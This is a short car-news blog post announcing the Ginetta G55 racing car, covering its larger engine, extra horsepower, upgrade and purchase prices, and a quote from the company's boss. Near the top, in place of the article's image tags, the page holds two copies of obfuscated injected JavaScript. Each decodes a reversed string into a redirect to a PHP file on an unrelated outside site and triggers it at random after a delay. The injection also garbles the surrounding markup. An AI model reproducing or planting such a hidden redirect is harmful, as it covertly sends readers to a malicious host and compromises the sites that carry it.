Ginetta // G55 renders unveiled

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20104206/ginetta-g55-renders-unveiled/01ginettag55/”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2010/11/01ginettag55-728×485.jpg” alt=”” width=”728″ height=”485″ />

The Ginetta G50 is a car that might not be that well known in the region, other than to people who either know the Gulf-Sport crew, or who regularly pop down to the Dubai Autodrome to check out the vibrant racing scene.

The car, which has been the star of the Ginetta GT Supercup, a one-make support series for the BTCC as well as taking it to the GT4 regulars across Europe and well and truly performing above expectations. However, as with all things exceptional, a change is always on the cards. So, step up to the plate, the G55.

To go along with its more aggressive looks and aero, the G55’s Ford engine is 3.7 liters instead of the G50’s 3.5, and it puts out 370 horsepower – 70 horses more than the G50.
Other tweaks include beefier brakes front and back and a new exhaust. Current G50 owners can upgrade to the G55 for £25,000 ($39,219 U.S.), or privateers can buy the car new for £75,000 ($117,661 U.S.).

Ginetta Boss, Laurence Tomlinson said of the new changes: “The G50 has dominated GT4 since its launch 2 years ago and proved itself as a real stepping stone into the GT4 arena. By introducing the G55 into the new Ginetta GT Supercup, I want to broaden Ginetta’s offering to all drivers expanding our career ladder even further and highlight a real route into GT3 – whilst still providing an affordable way to enjoy top level racing.”

We can’t wait to see the new car pounding laps around the Dubai Autodrome and Yas Marina…bring it on!

[autoblog/ginetta]